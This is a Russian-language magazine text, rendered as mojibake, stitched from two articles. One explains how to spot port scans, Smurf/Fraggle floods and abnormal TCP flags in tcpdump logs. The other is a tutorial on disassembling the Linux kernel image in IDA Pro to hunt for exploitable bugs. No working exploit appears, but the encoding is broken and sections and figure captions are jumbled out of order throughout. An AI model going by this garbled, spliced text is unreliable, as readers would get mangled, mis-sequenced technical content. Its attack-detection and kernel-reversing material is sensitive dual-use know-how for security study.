ôëàãàìè SYN è ACK, ïîñëå ÷åãî ñîåäèíåíèå îáðûâàåòñÿ ïîñûëêîé ôëàãà RST.
Çíà÷èò, òðåõýòàïíîå ðóêîïîæàòèå íå áûëî âûïîëíåíî ïîëíîñòüþ � ýòî ãîâîðèò
î òîì, ÷òî ïîðòû óçëà 172.20.100.100 ñêàíèðóþòñÿ ìåòîäîì íåçàâåðøåííîãî
îòêðûòîãî ñåàíñà (half-open scanning) èëè, êàê åãî åùå íàçûâàþò, � ñêðûòîå
(stealth) TCP SYN-ñêàíèðîâàíèå (ôëàã -sS â ñêàíåðå nmap).
Â ëèñòèíãå íà ðèñóíêå 6 íà ðàçëè÷íûå ïîðòû ïîñòóïàþò UDP-äåéòàãðàììû,
ñîäåðæàùèå 0 áàéò äàííûõ. Ýòî ÿâíûé ïðèçíàê òîãî, ÷òî îñóùåñòâëÿåòñÿ
UDP-ñêàíèðîâàíèå. Åñëè ïîðò çàêðûò, óçåë îòñûëàåò ICMP-ñîîáùåíèå port
unreachable. Åñëè òàêîå ñîîáùåíèå íå ïîñûëàåòñÿ, çíà÷èò, ïîðò îòêðûò.[X
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ðèñ.1 DoS-àòàêà SYN Flood

ðèñ.3 àòàêà Land

ðèñ.4 TCP-ñêàíèðîâàíèå óçëà 172.23.115.22

ðèñ.2 ðàñïðåäåëåííàÿ DoS-àòàêà ICMP flooding



Îòìå÷ó, ÷òî 0 áàéò äàííûõ ïðè UDP-ñêàíèðîâàíèè ïîñûëàåò ñêàíåð nmap
(ñ óñòàíîâëåííûì ôëàãîì -sU), äðóãèå ñêàíåðû ìîãóò ïîñûëàòü áîëüøåå
÷èñëî áàéò äàííûõ. Íàïðèìåð, Xspider ïîñûëàåò 3 áàéòà â êàæäîì ïàêåòå.
Åñëè æå â ëèñòèíãå áóäåò ìíîæåñòâî çàïðîñîâ, â êîòîðûõ íå óñòàíîâëåíî
íè îäíîãî ôëàãà (ñòîèò òî÷êà â ïîëå flags), íàïðèìåð:

02:12:59.899408 eth0 < 10.15.100.6.41343 > 192.168.2.4.30310: .
971654054:971654054(0) win 2048
02:12:59.899408 eth0 > 192.168.2.4.30310 > 10.15.100.6.41343: R 0:0(0) ack
971654054 win 0 (DF)
02:12:59.899408 eth0 < 10.15.100.6.41343 > 192.168.2.4.275: .
971654054:971654054(0) win 3072

×òî ýòî íåíîðìàëüíîå ñîñòîÿíèå, ñâèäåòåëüñòâóåò òî, ÷òî âûïîëíÿåòñÿ
Null-ñêàíèðîâàíèå (ôëàã -sN â ñêàíåðå nmap).
FIN-ñêàíèðîâàíèå (ôëàã -sF â nmap) ëåãêî âû÷èñëèòü ïî ìíîæåñòâó ïîñòó-
ïàþùèõ ïàêåòîâ ñ óñòàíîâëåííûì ôëàãîì FIN:

04:17:40.580653 eth0 < 192.168.10.35.46598 > 172.23.115.22.ftp: F
1918335677: 1918335677(0) win 2048
04:17:40.580653 eth0 < 192.168.10.35.46599 > 172.23.115.22.ftp: F
1918337777: 1918337777(0) win 3072

Ñêàíèðîâàíèå ïî ìåòîäó «ðîæäåñòâåíñêîé åëêè» (TCP Xmas Tree scan, ôëàã '-
sX' â nmap) îïðåäåëÿåòñÿ ïî ìíîæåñòâó çàïðîñîâ ñ óñòàíîâëåííûìè ôëàãàìè
FIN, URG è PUSH. Åñëè ïîðò çàêðûò, òî â îòâåò ïîñûëàåòñÿ ïàêåò ñ ôëàãîì RST:

03:22:46.960653 eth0 < 192.168.10.35.55133 > 172.23.115.22.19150: FP
1308848741:1308848741(0) win 2048 urg 0
03:22:46.960653 eth0 > 172.23.115.22.19150 > 192.168.10.35.55133: R 0:0(0)
ack 1308848741 win 0 (DF)
03:22:46.960653 eth0 < 192.168.10.35.55133 > 172.23.115.22.smtp: FP
1308848741:1308848741(0) win 3072 urg 0

Òàêæå ñóùåñòâóåò ñêàíèðîâàíèå ñ ïîìîùüþ ACK-ïàêåòîâ (ôëàã -sA â
nmap). Ýòîò ìåòîä èñïîëüçóåòñÿ äëÿ îïðåäåëåíèÿ ïðàâèë, èñïîëüçóåìûõ
áðàíäìàóýðîì. Íà ïîðòû ñêàíèðóåìîãî óçëà îòïðàâëÿþòñÿ ïàêåòû ñ óñòà-
íîâëåííûì ôëàãîì ACK. Åñëè â îòâåò ïðèõîäÿò ïàêåòû ñ ôëàãîì RST, òî
ïîðòû êëàññèôèöèðóþòñÿ êàê íåôèëüòðóåìûå (unfiltered) áðàíäìàóýðû. Åñ-
ëè íèêàêîãî îòâåòà íå ïðèõîäèò, ïîðò ñ÷èòàåòñÿ ôèëüòðóåìûì (filtered). Äëÿ
ïîäòâåðæäåíèÿ ñêàíåð äåëàåò çàïðîñ äâàæäû, ëèñòèíã tcpdump áóäåò âûã-
ëÿäåòü ïðèìåðíî òàê:

13:44:46.361688 eth0 < 192.168.91.130.56528 > 172.18.10.23.30310: .
1114201130:1114201130(0) ack 0 win 2048
13:44:46.361688 eth0 > 172.18.10.23.30310 > 192.168.91.130.56528: 
R 0:0(0) win 0 (DF)
13:44:46.361688 eth0 < 192.168.91.130.56528 > 172.18.10.23.275: .
1114201130:1114201130(0) ack 0 win 3072
13:44:46.361688 eth0 >172.18.10.23.275 > 192.168.91.130.56528: R 0:0(0) win 0 (DF)
13:44:46.361688 eth0 < 192.168.91.130.56528 > 172.18.10.23.nntp: .
1114201130:1114201130(0) ack 0 win 2048

Íà ðèñóíêå 7 ïîêàçàíà Smurf-àòàêà. Õàêåð ïîñûëàåò øèðîêîâåùàòåëüíûé
ICMP-çàïðîñ (echo request) â ñåòü 172.23.115.0 îò èìåíè æåðòâû
(192.168.10.1). Êàæäûé êîìïüþòåð ñåòè (â ëèñòèíãå ïîêàçàí òîëüêî óçåë
172.23.115.1), ïîëó÷èâøèé øèðîêîâåùàòåëüíûé çàïðîñ, ãåíåðèðóåò îòâåò
(echo reply) íà àäðåñ æåðòâû, âûçûâàÿ «îòêàç â îáñëóæèâàíèè». Ïåðèîäè-
÷åñêîå ïîâòîðåíèå çàïðîñà ïîçâîëÿåò ïîääåðæèâàòü ïðîâåäåíèå àòàêè
ïðîòèâ õîñòà 192.168.10.1. Óòèëèòà tcpdump ïîñëå èìåíè èíòåðôåéñà (eth0)
ïðåäóïðåæäàåò îïöèåé B, ÷òî èäåò ïðèåì øèðîêîâåùàòåëüíîãî çàïðîñà.
Åñòü ðàçíîâèäíîñòü àòàêè Smurf ïîä íàçâàíèåì Fraggle (îñêîëî÷íàÿ ãðàíà-
òà), â êîòîðîé èñïîëüçóåòñÿ UDP, à íå ICMP:

08:34:18.899408 eth0 B 192.168.10.22.34904 > 172.23.115.255.echo: udp 64
08:34:18.899408 eth0 > 172.23.115.255.echo > 192.168.10.22.34904: udp 64
08:34:18.520602 eth0 B 192.168.10.22.34904 > 172.23.115.255.echo: udp 64

Àòàêóþùèé ïîñûëàåò ïîääåëüíûå UDP-ïàêåòû íà øèðîêîâåùàòåëüíîé àä-
ðåñ óñèëèâàþùåé ñåòè (îáû÷íî íà echo-ïîðò 7/udp). Êàæäàÿ ñèñòåìà ñåòè,
â êîòîðîé ðàçðåøåí îòâåò íà ýõî-ïàêåòû, âîçâðàòèò ïàêåòû ñèñòåìå-æåðò-
âå, â ðåçóëüòàòå ÷åãî áóäåò ñãåíåðèðîâàí áîëüøîé îáúåì òðàôèêà.
Èíîãäà â ïîñòóïàþùèõ ïàêåòàõ ìîãóò áûòü óñòàíîâëåíû íåñòàíäàðòíûå ñî-
÷åòàíèÿ ôëàãîâ, íàïðèìåð, âçàèìîèñêëþ÷àþùèå ôëàãè SF (SYN+FIN), ãäå
SYN � óñòàíàâëèâàåò ñîåäèíåíèå, FIN � çàâåðøàåò. Òàêæå ìîãóò áûòü
óêàçàíû ðåçåðâíûå ôëàãè [ECN-Echo,CWR] è èäóùèå ïîäðÿä ôëàãè FIN áåç
ïðåäøåñòâóþùèõ SYN, íàïðèìåð:

11:16:22:899931 eth0 < 192.168.10.35.2879 > 172.23.115.22.491: SF
3477765723:3477765723 (0) win 1024
11:16:22:899931 eth0 < 192.168.10.35.2880 > 172.23.115.22.1351: S [ECN-
Echo,CWR] 3477800253:3477800253 (0) win 4096
11:16:22:899931 eth0 < 192.168.10.35.2881 > 172.23.115.22.2880: SFR
3477835208:3477835208 (0) win 4096 

Òàêèå çàïðîñû çëîóìûøëåííèê ìîæåò èñïîëüçîâàòü â äâóõ öåëÿõ. Âî-ïåðâûõ,
íåñòàíäàðòíûå êîìáèíàöèè ôëàãîâ ìîãóò âûâåñòè óçåë èç ñòðîÿ èëè ñïîñîá-
ñòâîâàòü îáõîäó ñèñòåì îáíàðóæåíèÿ àòàê è ìåæñåòåâûõ ýêðàíîâ. 
À âî-âòîðûõ, íåñòàíäàðòíûå ôëàãè èñïîëüçóþòñÿ äëÿ èäåíòèôèêàöèè ÎÑ óç-
ëà. Ðàçíûå îñè ðåàãèðóþò ïî-ðàçíîìó íà ïàêåòû íåñîîòâåòñòâóþùèå ñòàíäàð-
òàì RFC � ýòó âîçìîæíîñòü ïðàêòèêóþò óòèëèòû nmap, queso è ïðî÷åå

ðèñ.5 ñêðûòîå (stealth) TCP SYN ñêàíèðîâàíèå

ðèñ.6 UDP-ñêàíèðîâàíèå

ðèñ.7 àòàêà Smurf
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[ñíàðóæè ÿäðà] Ñóùåñòâóþò, ïî
ìåíüøåé ìåðå, äâå ìåòîäèêè ïîèñ-
êà áàãîâ, íî îáå îíè ïîðî÷íûå è íå-
ïðàâèëüíûå. Îäíè õàêåðû ïðåäïî-
÷èòàþò ïðîñìàòðèâàòü èñõîäíûå êî-
äû ÿäðà, àíàëèçèðóÿ ñòðîêó çà ñòðî-
êîé, äðóãèå � äèçàññåìáëèðóþò ãî-
òîâîå ÿäðî. Âîò íåïîëíûé ïåðå÷åíü íåäîñòàòêîâ ïåðâîãî ñïîñîáà:

1 Âìåñòî ôàêòè÷åñêîãî çíà÷åíèÿ ïåðåìåííîé â Ñè ñïëîøü è ðÿäîì èñ-
ïîëüçóþòñÿ ìàêðîñû, îïðåäåëÿåìûå íåèçâåñòíî ãäå, ïðè÷åì ìàêðîñ ìîæåò
ïåðåîïðåäåëÿòüñÿ ìíîãîêðàòíî èëè, ÷òî åùå õóæå, ðàçëè÷íûå âêëþ÷àåìûå
ôàéëû ñîäåðæàò íåñêîëüêî íåçàâèñèìûõ ìàêðîñîâ ñ îäèíàêîâûì èìåíåì,
òàê ÷òî ãëîáàëüíûé êîíòåêñòíûé ïîèñê, ïðàêòèêóåìûé ìíîãèìè èññëåäîâà-
òåëÿìè, íå ïîìîãàåò (ìîæíî, ïðàâäà, ïðîãíàòü èñõîäíûé òåêñò ÷åðåç ïðå-
ïðîöåññîð "cpp èìÿ_ôàéëà.c", íî îò ýòîãî åãî îáúåì, à, çíà÷èò, è âðåìÿ
àíàëèçà òîëüêî âîçðàñòåò).

2 Íè îäíà èçâåñòíàÿ ìíå IDE íå ñïîñîáíà îòîáðàæàòü ïåðåêðåñòíûå
ññûëêè íà ôóíêöèè/äàííûå, òðàññèðîâàòü ïîòîê óïðàâëåíèÿ è äåëàòü
ìíîæåñòâî äðóãèõ ïîëåçíûõ âåùåé, ñ êîòîðûìè ëåãêî ñïðàâëÿåòñÿ ëþ-
áîé ïðèëè÷íûé äèçàññåìáëåð.

3 Â ïðîöåññå êîìïèëÿöèè ìîãóò «ìàñêèðîâàòüñÿ» îäíè îøèáêè è äîáàâ-
ëÿòüñÿ äðóãèå, ê òîìó æå íèêîãäà íåëüçÿ ñêàçàòü íàïåðåä, ïî êàêèì àäðå-
ñàì è â êàêîì ïîðÿäêå êîìïèëÿòîð ðàñïîëîæèò ïåðåìåííûå è áóôåðû â ïà-
ìÿòè, à äëÿ íàïèñàíèÿ shell-êîäà � ýòî êðèòè÷íûé ìîìåíò.
Ñ äðóãîé ñòîðîíû äèçàññåìáëåðíûé ëèñòèíã ÿäðà íå ïðîñòî âåëèê. Îí îãðî-
ìåí! Ýòî ìèëëèîíû ñòðîê àññåìáëåðíîãî êîäà, è åñëè íà êàæäóþ êîìàíäó
ïîòðàòèòü õîòÿ áû íåñêîëüêî ñåêóíä, äàæå ïîâåðõíîñòíûé àíàëèç ðàñòÿíåò-
ñÿ, êàê ìèíèìóì, íà ñåçîí. Íî âåäü íàì è íå íóæíî äèçàññåìáëèðîâàòü âñå
ÿäðî öåëèêîì! Îøèáêè íå ðàçìàçàíû òîíêèì ñëîåì ïî ìàøèííîìó êîäó, à
ãíåçäÿòñÿ â èçâåñòíûõ âñåì ìåñòàõ. Íèêòî íå ãîâîðèò, ÷òî ëîâèòü áàãè ïðî-
ñòî. Çàòî èíòåðåñíî! Ïðèçíàéñÿ, ðàçâå òåáå íèêîãäà íå õîòåëîñü çàãëÿíóòü
â ÿäðî, ïîòðîãàòü ìàøèííûé êîä ðóêàìè è ïîñìîòðåòü, êàê âñå ýòî âûãëÿ-
äèò â æèâóþ (òî åñòü, «íà ñàìîì äåëå»), à íå â èñõîäíûõ òåêñòàõ, êîòîðûé
ëþáîé «÷èñòà õàêåð» ìîæåò ñêà÷àòü èç Cåòè? È ýòà âîçìîæíîñòü ñåé÷àñ
ïðåäñòàâèòñÿ!

[øòóðì ÿäðà] Äëÿ øòóðìà ÿäðà íàì, âî-ïåðâûõ, ïîíàäîáèòñÿ ñàìî ÿäðî,
êîòîðîå ìû ñîáðàëèñü øòóðìîâàòü. Êàêîé äèñòðèáóòèâ âûáðàòü? Ëó÷øå
âçÿòü òîò, ÷òî ïîíîâåå, õîòÿ îñîáîé ðàçíèöû ìåæäó íèìè íåò, âåäü ÿäðî

[ââåäåíèå] Ëèíóõîâîå ÿäðî � ýòî äîâîëüíî
ñëîæíîå èíæåíåðíîå ñîîðóæåíèå, èñõîäíûå òåê-
ñòû êîòîðîãî çàíèìàþò ñâûøå ñîòíè ìåãàáàéò.
×åãî òóò òîëüêî íåò! Äðàéâåðà, ñòåê TCP/IP, ìåíå-
äæåð âèðòóàëüíîé ïàìÿòè, ïëàíèðîâùèê ïîòîêîâ,
çàãðóç÷èê ELF-ôàéëîâ è ìíîãîå äðóãîå. Âñå ýòî
õîçÿéñòâî, îòêðîâåííî ãîâîðÿ, ïðîñòî êèøèò
îøèáêàìè, íàä ïîèñêîì êîòîðûõ ðàáîòàþò äåñÿò-
êè õàêåðñêèõ ãðóïï è òûñÿ÷è íåçàâèñèìûõ êîäî-
êîïàòåëåé ïî âñåìó ìèðó. Õî÷åøü ê íèì ïðèîá-
ùèòüñÿ? ×òî çà âîïðîñ! Êòî æå ýòîãî íå õî÷åò!
Ïðàâäà, íå ó âñåõ ïîëó÷àåòñÿ, îñîáåííî ñ ïåðâî-
ãî ðàçà, íî ëèõà áåäà íà÷àëî!

106
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íûõ, ïîýòîìó äèçàññåìáëèðîâàòü åãî ïðèõîäèòñÿ ñ áîëüøîé îñòîðîæíîñòüþ.
Íî ïðåæäå íåîáõîäèìî ñîçäàòü íîâûé ñåãìåíò, âåäü ïðåäûäóùèé áûë óñå÷åí!
Ãîâîðèì "Edit -> Segment -> New Segment", ââîäèì èìÿ ñåãìåíòà (íàïðèìåð,
"ldr"), àäðåñ íà÷àëà (200h) è êîíöà (1500h), à òàêæå áàçîâûé àäðåñ, ðàâíûé ñòàð-
òîâîìó àäðåñó, äåëåííîìó íà 10h. Ôîðñèðóåì 16-áèòíûé ðåæèì è äàâèì ÎÊ.
Çà âòîðè÷íûì çàãðóç÷èê èäåò 100h «íè÷åéíûõ» áàéò, çàáèòûõ íóëÿìè, à âîò
çàòåì ñî ñìåùåíèÿ 1500h íà÷èíàåòñÿ êàêîé-òî äèêèé êîä, êîòîðûé íèêàê íå
óäàåòñÿ äèçàññåìáëèðîâàòü. IDA âûâîäèò âñåãî íåñêîëüêî ñòðîê, æàëîáíî
ïèùèò è îòêàçûâàåòñÿ ïðîäîëæàòü ðàáîòó:

[IDA Pro äèçàññåìáëèðóåò «äèêèé» êîä]

1600 cld
1601 cli
1602 mov ax, 18h
1605 db 0
1606 db 0
1607 db 8Eh ; Î
1608 db 0D8h ; +

HTE è HIEW êàê áóäòî äèçàññåìáëèðóþò äèêèé êîä, íî äåëàþò ýòî íåïðàâèëüíî!

[Íåâåðíûé ðåçóëüòàò äèçàññåìáëèíãà]

1600 fc cld
1601 fa cli
1602 b81800 mov ax, 0x18
1605 0000 add [bx+si], al
1607 8ed8 mov ds, ax
1609 8ec0 mov es, ax
160b 8ee0 mov fs, ax
160d 8ee8 mov gs, ax

À âñå ïîòîìó, ÷òî èìåííî ñ ýòîãî ìåñòà ÿäðî íà÷èíàåò èñïîëíÿòüñÿ â 32-
ðàçðÿäíîì çàùèùåííîì ðåæèìå, è äëÿ ïðàâèëüíîãî äèçàññåìáëèðîâàíèÿ
ðàçðÿäíîñòü ñåãìåíòà íåîáõîäèìî èçìåíèòü. Ïîñëå ÷åãî IDA Pro çàðàáîòà-
åò êàê íè â ÷åì íè áûâàëî. Ñåé÷àñ ìû íàõîäèìñÿ â ðàñïàêîâùèêå, ïîäãî-
òàâëèâàþùåì îñíîâíîé ÿäåðíûé êîä ê ðàáîòå. Îí ðåàëèçîâàí â ôàéëàõ
/arch/i386/boot/compressed/head.S è misc.c. «Ïåðñîíàëüíîãî» àäðåñà çàãðóç-
êè îí íå èìååò è ãðóçèò-
ñÿ âìåñòå ñ ïåðâè÷íûì
çàãðóç÷èêîì ïî àäðåñó
1000h:0000h. Òàêèì îá-
ðàçîì, ïåðâûé áàéò
ðàñïàêîâùèêà ðàñïîëî-
æåí â ïàìÿòè ïî àäðåñó
1000h:0000h + sizeof(ldf)
== 1000h:01300h, ÷òî
ñîîòâåòñòâóåò ôèçè÷å-
ñêîìó àäðåñó 101300h.
Ðàñïàêîâùèê íàñòðàè-
âàåò ñåãìåíòíûå ðåãè-
ñòðû DS/ES/SS/GS/FS
íà ñåëåêòîð 18h, à ðå-
ãèñòð CS íàñòðàèâàåò
íà ñåëåêòîð 10h.

ðàçðàáàòûâàåòñÿ íåçàâèñèìî îò îñòàëüíîé «íà÷èíêè». Ãëàâíîå, ÷òîáû îí
áûë øèðîêî ðàñïðîñòðàíåí, èíà÷å, êàêîé ïðîê îò äûðêè, êîòîðàÿ åñòü òîëü-
êî íà îäíîé-äâóõ ìàøèíàõ âî âñåì ìèðå?
ßäðî áóäåò ëåæàòü â äèðåêòîðèè /boot ïîä èìåíåì vmlinuz. Â äåéñòâèòåëü-
íîñòè, ýòî åùå íå ÿäðî, à òîëüêî ñèìâîëè÷åñêàÿ ññûëêà íà íåãî. Ñàìî æå
ÿäðî ëåæèò ðÿäîì ïîä èìåíåì vmlinuz.x.y.z, ãäå xyz � âåðñèÿ ÿäðà. Ìû ïî-
êàæåì, êàê ðàñïîòðîøèòü ÿäðà 2.4.27 è 2.6.7, âõîäÿùèå â ìîé ëþáèìûé äè-
ñòðèáóòèâ Knoppix 3.7. Îñòàëüíûå ÿäðà èññëåäóþòñÿ àíàëîãè÷íûì îáðà-
çîì, òîëüêî ñìåùåíèÿ, åñòåñòâåííî, áóäóò äðóãèìè.
Êðîìå ñàìîãî äâîè÷íîãî ôàéëà íàì òàêæå ïîòðåáóþòñÿ åãî èñõîäíûå òåê-
ñòû, ñ êîòîðûìè â ñëó÷àå ÷åãî ìû áóäåì ñâåðÿòüñÿ. Åñëè îíè íå âõîäÿò â
äèñòðèáóòèâ (à áîëüøèíñòâî ïîïóëÿðíûõ äèñòðèáóòèâîâ çàíèìàþò âñåãî
îäèí CD è ðàñïðîñòðàíÿþòñÿ áåç èñõîäíûõ òåêñòîâ), èõ ìîæíî ñêà÷àòü ñ
www.kernel.org/pub/linux/kernel/. Íàì ïðèäåòñÿ ïðèíÿòü îò 25 äî 45 Mb è
îñâîáîäèòü íà æåñòêîì äèñêå, ïî êðàéíåé ìåðå, 150�300 Mb äëÿ ðàñïàêîâ-
êè àðõèâà. Âñå ÿäðà ïîñòàâëÿþòñÿ â óïàêîâàííîì âèäå â äâóõ ôîðìàòàõ �
ñòàíäàðòíîì gzip'å è áîëåå ïðîäâèíóòîì bzip2, êîòîðûé æìåò íà 25% ïëîò-
íåå, ÷òî óìåíüøàåò ðàçìåð ÿäðà ÷óòü ëè íå íà 10 Mb, à äëÿ ìîäåìíîãî ñî-
åäèíåíèÿ ýòî î÷åíü îùóòèìàÿ âåëè÷èíà.
×òî êàñàåòñÿ äèçàññåìáëåðà, òî ëó÷øå, ÷åì IDA Pro òû âðÿä ëè ÷òî-òî íàé-
äåøü. Äî íåäàâíåãî âðåìåíè IDA Pro ðàáîòàëà òîëüêî ïîä MS-DOS, OS/2,
Windows, íî òåïåðü îíà ïåðåíåñåíà è íà Linux, ÷òî íå ìîæåò íå ðàäîâàòü.
Îáëàäàòåëÿì áîëåå äðåâíèõ âåðñèé ìîæíî ïîñîâåòîâàòü ñêîïèðîâàòü ÿäðî
íà äèñêåòó è äèçàññåìáëèðîâàòü åãî ïîä Windows èëè âîñïîëüçîâàòüñÿ
ýìóëÿòîðîì Wine � IDA Pro çàìå÷àòåëüíî ðàáîòàåò è ïîä íèì. Êñòàòè ãî-
âîðÿ, íà Linux ïåðåíåñåíà òîëüêî êîíñîëüíàÿ âåðñèÿ, êîòîðàÿ ëèøåíà âñåõ
ãðàôè÷åñêèõ âêóñíîñòåé, íàïðèìåð, äèàãðàìì.
Åñëè íåò äåíåã íà IDA Pro, ìîæíî ïîïðîáîâàòü HT-editor � áåñïëàòíûé hex-
ðåäàêòîð è äèçàññåìáëåð â îäíîì ôëàêîíå. Îí àâòîìàòè÷åñêè âîññòàíà-
âëèâàåò ïåðåêðåñòíûå ññûëêè, òðàññèðóåò ïîòîê óïðàâëåíèÿ, ïîääåðæèâà-
åò ñèìâîëüíûå èìåíà è êîììåíòàðèè. Ãðóáî ãîâîðÿ, ýòî óñå÷åííàÿ IDA Pro
â ìèíèàòþðå. Èñõîäíûå òåêñòû ïîñëåäíåé âåðñèè ìîæíî ñêà÷àòü ñ
hte.sf.net. Îíè óñïåøíî êîìïèëèðóþòñÿ ïîä Linux, FreeBSD, OpenBSD è, êî-
íå÷íî æå, Win32. Íî åñëè òåáå ëåíü êîìïèëèðîâàòü, ìîæíî ñêà÷àòü óæå ãî-
òîâûé áèíàðíûé ôàéë, ïðàâäà, äàëåêî íå ïåðâîé ñâåæåñòè.

[âíóòðè ÿäðà] Íàñòóïàåò âîëíóþùèé ìèã: ôàéë vmlinuz çàãðóæàåòñÿ â äè-
çàññåìáëåð! Íà÷èíàåòñÿ ñàìîå èíòåðåñíîå: IDA Pro íå ìîæåò îïîçíàòü
ôîðìàò è çàãðóæàåò åãî êàê áèíàðíûé, à ýòî óæå íåõîðîøî. ßäðî èìååò
ñëîæíóþ ñòðóêòóðó, ñîñòîÿùóþ èç íåñêîëüêèõ ïîñëåäîâàòåëüíî îòðàáàòû-
âàåìûõ îäèí çà äðóãèì çàãðóç÷èêîâ, à îñíîâíàÿ ÷àñòü ÿäðà óïàêîâàíà. Êàê
ðàçîáðàòüñÿ ñî âñåì ýòèì õîçÿéñòâîì? Çàäà÷à-ìèíèìóì: ðàñïîòðîøèòü
ÿäðî íà ìîäóëè, îïðåäåëèâ áàçîâûé àäðåñ çàãðóçêè è ðàçðÿäíîñòü êàæäî-
ãî èç íèõ. Êòî-òî ìîæåò ñêàçàòü: «À â ÷åì, ñîáñòâåííî, ïðîáëåìà? Âåäü ó
íàñ åñòü èñõîäíûå òåêñòû!» ×òî æ, èñõîäíûå òåêñòû ýòî, êîíå÷íî, õîðîøî,
íî âîò âîïðîñ � êàêîé ôàéë êàêîé ÷àñòè ÿäðà ñîîòâåòñòâóåò? Òàê ÷òî áåç
õîðîøåãî ïóòåâîäèòåëÿ çäåñü íèêóäà!
Ïåðâûå 200h áàéò ôàéëà vmlinuz ïðèíàäëåæàò boot-ñåêòîðó, êîòîðûé ãðóçèò-
ñÿ ïî àäðåñó 0000:7C00 è âûïîëíÿåòñÿ â 16-ðàçðÿäíîì ðåæèìå. Íàæèìàåì
<Alt-S> èëè îáðàùàåìñÿ ê ìåíþ "Edit -> Segment -> Edit Segment" (çäåñü è äà-
ëåå ãîðÿ÷èå êîìáèíàöèè óêàçàíû äëÿ IDA Pro 4.7, â äðóãèõ âåðñèÿõ îíè ìîãóò
ñëåãêà îòëè÷àòüñÿ). Ââîäèì èìÿ ñåãìåíòà: boot, íà÷àëüíûé àäðåñ îñòàâëÿåì
áåç èçìåíåíèé, à êîíå÷íûé ìåíÿåì íà 200h. Íà âñå ãðîçíûå ïðåäóïðåæäåíèÿ
îòâå÷àåì îäíîçíà÷íûì yes. Çàòåì ïîäâîäèì êóðñîð ê ïåðâîìó áàéòó êîäà è
íàæèìàåì <C>, ÷òîáû IDA Pro ïðåâðàòèëà ÿ÷åéêè ïàìÿòè â êîä. Ïîñëå ýòîãî
äèçàññåìáëèðîâàíèå ìîæíî ïðîäîëæàòü êàê îáû÷íî. Èñõîäíûé êîä çàãðóç÷è-
êà ìîæíî íàéòè â ôàéëå /arch/i386/boot/bootsect.S, à ìîæíî è íå èñêàòü � íàì
îí íå èíòåðåñåí. Çà äîëãèå ãîäû îí âûëèçàí äî÷èñòà. Äàæå, åñëè êàêèå-òî áà-
ãè â íåì åñòü, èñïîëüçîâàòü èõ, ñêîðåå âñåãî, íå óäàñòñÿ.
Ìû âèäèì, ÷òî boot-ñåêòîð ïåðåìåùàåòñÿ ïî àäðåñó 9000h:0000h è ñ÷èòûâàåò
ñ äèñêà âòîðè÷íûé çàãðóç÷èê, êîòîðûé òàêæå íàõîäèòñÿ âíóòðè vmlinuz, ñðàçó
çà boot-ñåêòîðîì. Çäåñü ðàñïîëîæåíû ìîäóëè setup.S è video.S, çàãðóæàþ-
ùèåñÿ ïî àäðåñó 1000h:0000h è ðàáîòàþùèå â 16-ðàçðÿäíîì ðåæèìå. Íà÷àëî
ìîäóëÿ setup.S îïîçíàåòñÿ ïî ñèãíàòóðå HdrS, ñëåäóþùåé ïîñëå jmp'à. Êîíåö
video.S ëåãêî îïðåäåëèòü ïî ñòðîêàì: CGA/MDA/HGA/EGA/VGA/VESA/Video
adapter, âñëåä çà êîòîðûìè èäåò «ìàãè÷åñêàÿ ïîñëåäîâàòåëüíîñòü» 00 00 B8
00 00. Â îáîèõ ÿäðàõ îí
ðàñïîëîæåí ïî ñìåùå-
íèþ 14FF îò íà÷àëà
ôàéëà. Òàêèì îáðàçîì,
âòîðè÷íûé çàãðóç÷èê íà-
÷èíàåòñÿ ñî ñìåùåíèÿ
200h è çàêàí÷èâàåòñÿ â
14FFh. Îí òàêæå èñïîë-
íÿåòñÿ â 16-ðàçðÿäíîì
ðåæèìå è ïðåäñòàâëÿåò
ñîáîé ñìåñü êîäà è äàí- äèçàññåìáëèðîâàíèå ÿäðà â êîíñîëüíîé âåðñèè IDA Pro ïîä Linuxðåäàêòîð THE çà êîìïëåêñíûì ïîèñêîì

âòîðè÷íûé çàãðóç÷èê, ïðåäñòàâëÿþùèé ñîáîé
ñìåñü êîäà è äàííûõ
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Çà êîíöîì ðàñïàêîâùèêà èäóò òåêñòîâûå ñòðîêè «System halted», «Ok,
booting the kernel», «invalid compressed format (err=1)», çà íèìè ñëåäóåò
äëèííàÿ öåïî÷êà íóëåé, à ïîòîì íà÷èíàåòñÿ óïàêîâàííûé êîä, äèçàñ-
ñåìáëèðîâàòü êîòîðûé áåç ïðåäâàðèòåëüíîé ðàñïàêîâêè íåâîçìîæíî.
À êàê åãî ðàñïàêîâàòü? Ïîñêîëüêó ëèíóêñîèäû íå ëþáÿò èçîáðåòàòü âå-
ëîñèïåä è âñåãäà ñòðåìÿòñÿ èñïîëüçîâàòü ãîòîâûå êîìïîíåíòû, ÿäðî
ñæèìàåòñÿ ñ ïîìîùüþ gzip.
Óïàêîâàííûé êîä íà÷èíàåòñÿ ñ «ìàãè÷åñêîé ïîñëåäîâàòåëüíîñòè» 1F 8B 08
00, êîòîðóþ ëåãêî íàéòè â ëþáîì hex-ðåäàêòîðå. Â ÿäðå 2.4.27 îíà ðàñïî-
ëîæåíà ïî ñìåùåíèþ 4904h, à â ÿäðå 2.6.7 ïî ñìåùåíèþ 49D4h îò íà÷àëà
ôàéëà. Âûäåëèì îáëàñòü îòñþäà è äî êîíöà ôàéëà, è çàïèøåì åå â ôàéë
ñ ðàñøèðåíèåì gz (íàïðèìåð, kernel.gz). Ïðîïóñòèâ åå ÷åðåç gzip (gzip -d
kernel.gz), ìû ïîëó÷èì íà âûõîäå ãîòîâûé ê äèçàññåìáëèðîâàíèþ îáðàç
ÿäðà. IDA Pro óæå æäåò, êîãäà îí áóäåò â íåå çàãðóæåí.
Îñíîâíîé êîä ÿäðà èñïîëíÿåòñÿ â 32-ðàçðÿäíîì ðåæèìå è ãðóçèòñÿ â ïàìÿòü
ïî àäðåñó 10:C0100000h. Â ñàìîì íà÷àëå èäåò ìîäóëü /arch/i386/kernel/he-
ad.S, à çàòåì init.c, ïîäãðóæàþùèé âñå îñòàëüíûå ìîäóëè. Êàê îïðåäåëèòü,
êàêîìó èìåííî ìîäóëþ ñîîòâåòñòâóåò äàííàÿ ÷àñòü äèçàññåìáëåðíîãî êîäà?
Â äèðåêòîðèè /boot ëåæèò çàìå÷àòåëüíûé ôàéë System.map-x.y.z (ãäå x.y.z
íîìåð âåðñèè ÿäðà), â êîòîðîì ïåðå÷èñëåíû àäðåñà ïóáëè÷íûõ ñèìâîëü-
íûå èìåí, îíè æå ìåòêè:

Ôðàãìåíò ôàéëà System.map-2.4.27

c0108964 T system_call
c010899c T ret_from_sys_call
c01089ad t restore_all
c01089bc t signal_return
c01089d4 t v86_signal_return
c01089e4 t tracesys
c0108a07 t tracesys_exit
